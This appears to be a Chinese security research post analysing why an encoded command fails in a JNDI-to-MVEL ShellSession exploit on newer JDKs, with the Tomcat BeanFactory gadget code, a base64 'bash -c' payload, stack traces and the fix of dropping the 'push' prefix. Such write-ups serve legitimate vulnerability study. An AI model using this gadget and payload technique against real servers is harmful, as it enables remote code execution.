测试背景

JDNI利用mvel绕过高版本java限制的时候,使用runtime exec编码变形之后执行命令失败。只能弹个计算器。

测试结果

浅蓝师傅在探索高版本JDK下JNDI 漏洞的利用方法中给出的执行方式:

private static ResourceRef tomcat_MVEL(){
    ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=exec"));
    ref.add(new StringRefAddr("a",
            "push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');"));
    return ref;
}

先说结论:把执行命令的时候push指令去掉,可以成功执行命令。

原因探索

先把测试的命令做一次编码:open /System/Applications/Calculator.app/Contents/MacOS/Calculator
经过编码之后: bash -c {echo,b3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9y}|{base64,-d}|{bash,-i}

存在push的时候

经过一路的跳转,进入到_exec()函数,调用堆栈如下:

_exec:122, ShellSession (org.mvel2.sh)
exec:463, ShellSession (org.mvel2.sh)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, RMITest (com.rmi)

函数在108行对传入的字符串进行分割: String[] inTokens = this.inBuffer.append(this.commandBuffer).toString().split("\\s");\s表示空格、tab、换行: ' ', '\t', '\n', '\r'

分割之后,得到inTokens:

inTokens = {String[4]@1355} 
 0 = "push"
 1 = "Runtime.getRuntime().exec('bash"
 2 = "-c"
 3 = "{echo,L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcg==}|{base64,-d}|{bash,-i}');"

然后获取inTokens[1:]赋值给passParamters。继续跟进到119行代码: ((Command)this.commands.get(inTokens[0])).execute(this, passParameters);,进入调用push指令的函数,此时的参数如下:

pushContext.java里面调用MVEL.eval解析MVEL表达式,这个时候可以看出来执行MVEL.eval的时候,第一个参数是args[0]: Runtime.getRuntime().exec('bash,所以会导致命令执行失败:

去掉push的时候

当没有push的时候,执行到SHellSession.java会跳转到123行代码分支,然后实例化MVELInterpretedRuntime之后调用parse()函数:

经过一系列解析判断之后最终进入到propertyAccessor.class的896行,获取到Runtime上下文之后调用传入的参数:

函数调用堆栈:

getMethod:995, PropertyAccessor (org.mvel2)
getNormal:181, PropertyAccessor (org.mvel2)
get:145, PropertyAccessor (org.mvel2)
get:125, PropertyAccessor (org.mvel2)
getReducedValue:187, ASTNode (org.mvel2.ast)
parseAndExecuteInterpreted:112, MVELInterpretedRuntime (org.mvel2)
parse:58, MVELInterpretedRuntime (org.mvel2)
_exec:171, ShellSession (org.mvel2.sh)
exec:463, ShellSession (org.mvel2.sh)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, RMITest (com.rmi)

参考链接

⬆︎TOP